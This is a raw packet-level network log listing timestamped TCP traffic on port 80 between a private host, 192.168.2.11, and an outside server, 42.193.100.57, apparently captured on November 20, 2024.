Nov 20, 2024 09:14:53.879132032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879142046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.879143000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879172087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.879184961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.879379988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879390955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879437923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.879570007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.879628897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.880175114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.880186081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.880235910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.880575895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.880628109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.880733967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.880783081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.881167889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.881179094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.881217003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.881233931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.881329060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.881402016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.881902933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.881916046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.881949902 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.882030010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.882059097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.882103920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.882622004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.882666111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.882759094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.882803917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.882906914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.882920027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.882956028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.883503914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.883557081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.883661032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.883716106 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.883826017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.883869886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.883961916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.884006977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.884661913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.884740114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.884942055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.884953976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.884964943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.884974957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.884984970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.884995937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885008097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885025978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885025978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885025978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885041952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885119915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885154009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885164976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885175943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885184050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885195017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885196924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885201931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885216951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885216951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885230064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885238886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885241985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885248899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885272980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885282040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885298014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885301113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885312080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885323048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885323048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885334015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885339975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885346889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885349035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885370970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885392904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885397911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885405064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885416985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885447979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885452986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885467052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885478020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885488987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885499954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885525942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885528088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885538101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885538101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885550976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885560989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885564089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885572910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885575056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885595083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885598898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885615110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885620117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885627985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885654926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885654926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885662079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885665894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885674953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885701895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885704041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885711908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885715008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885724068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885735989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885735989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885746002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885754108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885765076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885771990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885796070 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885801077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885813951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885821104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885823965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885840893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885843992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885849953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885855913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885867119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885867119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885879993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885885954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885886908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885895967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885915041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885915041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885926962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885947943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885952950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885962009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885972023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885982990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885987997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.885993958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.885996103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886006117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886017084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886018038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886028051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886039019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886039972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886061907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886065006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886075974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886077881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886107922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886107922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886118889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886128902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886130095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886141062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886142015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886153936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886166096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886182070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886193991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886204958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886204958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886204958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886217117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886229038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886229992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886241913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886248112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886255980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886260986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886270046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886274099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886285067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886286020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886296988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886307955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886315107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886318922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886331081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886356115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886356115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886356115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886368036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886379004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.886382103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886390924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.886410952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.977644920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977705002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977710962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.977725029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977741003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977757931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977770090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.977804899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977813005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.977832079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977844954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977855921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977866888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977883101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.977905035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.977914095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977926016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977942944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.977951050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.977988005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978118896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978131056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978142977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978153944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978168964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978173971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978185892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978188992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978204966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978215933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978223085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978230953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978240967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978254080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978266001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978308916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978322983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978355885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978367090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978379011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978391886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978403091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978415012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978426933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978449106 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978506088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978518009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978535891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978548050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978560925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978563070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978574038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978578091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978604078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978615046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978625059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978631973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978631973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978638887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978665113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978692055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978899956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978912115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978921890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978934050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978955030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978956938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978970051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978981018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.978985071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.978991985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.979003906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.979022980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151007891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151034117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151046991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151057959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151078939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151088953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151102066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151163101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151170015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151182890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151199102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151212931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151216030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151225090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151237965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151240110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151249886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151282072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151330948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151341915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151359081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151379108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151391029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151401043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151401997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151418924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151429892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151431084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151443958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151444912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151454926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151468992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151469946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151494980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151506901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151510954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151557922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151751041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151770115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151781082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151792049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151804924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151814938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151817083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151827097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151839018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151848078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151851892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151859999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151864052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151876926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151887894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151890993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151906013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151915073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151926041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151933908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151937962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151951075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151954889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.151963949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.151974916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152014971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152142048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152153969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152170897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152183056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152194023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152194023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152205944 CET	80	49701	42.193.100.57	192.168.2.11
